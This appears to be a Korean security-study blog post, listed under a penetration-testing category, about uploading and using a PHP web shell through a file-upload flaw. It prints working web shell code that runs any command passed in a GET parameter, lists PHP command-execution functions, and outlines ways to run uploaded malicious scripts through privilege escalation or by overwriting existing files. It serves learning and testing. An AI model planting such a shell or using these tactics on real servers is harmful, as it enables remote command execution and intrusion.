1. WEBSHELL
2. SHOUTDOWN
3. 업로드되는 파일의 위치가 서버 디렉토리 밖에 위치할경우.
WEB SHELL
File Upload를 통해서 아래와 같은 웹 쉘을 업로드 및 실행하였다.
<?php
passthru($_GET['cmd']);
?>
다만 편의성을 위해서 다음과 같은 html코드를 추가하였다.
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<?php
// 명령어 실행
passthru($_GET['cmd']);
?>
이 웹쉘을 이용해 ifconfig 명령어를 실행한 결과 다음과 같이 출력이 되는것을 확인 할 수 있다.
이 외에도 다음과 같은 명령어의 사용이 가능하다.
<?php
exec() //외부 명령을 실행하고 실행 결과를 반환
shell_exec() //외부 명령을 실행하고 실행 결과를 반환
system() //외부 명령을 실행하고 실행 결과를 화면에 출력
passthru() // 외부 명령을 실행하고 명령의 출력을 화면에 전달
backticks (``) //외부 명령을 실행하고 결과를 반환
?>
ifcconfig외에도 ls, cat,grep,find, touch 또한 실행에 문제가 없다.
SHOUTDOWN
다만 reboot, shoutdown와 같이 pc의 전원을 제어하는 명령은 거부되는것을 확인 할 수 있었다.
이는 웹 쉘은 서버에서 실행되는 스크립트이기 때문에 서버의 권한 내에서 동작을 하기 때문이다. PC의 전원 제어는 이러한 권한의 밖의 영역이므로 웹 쉘을 통해서 수행이 불가능하다.
즉, 이러한 경우 해당 운영체제의 리모트 관리 도구를 사용해야한다. linux의 경우 ssh를 통해 가능하다.
다만 ssh의 설정 또한 관리자 권한이 필요한 작업이다.
즉, 서버의 권한을 상승시키는것과 ssh설정 모두 관리자 권한을 획득할 필요성이 있다.
관리자 권한 획득방법은 사회공학적 기법이 아닌이상 system hacking이 필요할것 같다.
업로드되는 파일의 위치가 서버 디렉토리 밖에 위치할경우.
파일 업로드가 가능할경우 악성 스크립트의 삽입이 가능하다. 다만 삽입된 스크립트의 실행을 웹서버를 통한 실행이 불가능하다. 아무리 강력한 악성 스크립트라고 해도 결국 실행이 되지 않는다면 의미가 없다.
따라서 악성스크립트의 실행 방법을 다음과 같이 정리하였다.
1. 사회공학적 기법
이하 생략
2. 시스템 해킹
시스템 해킹을 통해서 관리자 권한을 취득하고 이를 이용하여 자동으로 실행되는 프로세스에 등록하거나 직접 실행해버리는등의 방법으로 실행이 가능하다. 다만 이 경우 os의 보안 시스템을 우회할 필요가 있어 난이도가 상당이 높을것으로 생각된다.
3. 원래 존재하는 파일 덮어쓰기
악성 스크립트를 존재하던 파일에 덮어쓰는 것이다. 그렇게 된다면 자동 실행 등의 그 파일에 적용된 시스템이 그대로 작동하여 악성 스크립트를 실행이 가능할 것이다.
'모의해킹 및 보안' 카테고리의 다른 글
[금취분평] 불필요한 웹 메서드 허용 (0) | 2023.07.21 |
---|---|
Iq Spoofing 웹사이트 Post-Exploit (0) | 2023.06.08 |
Directory Traver Attack (0) | 2023.06.03 |
Commend Injection (0) | 2023.06.03 |
Netcat (0) | 2023.06.02 |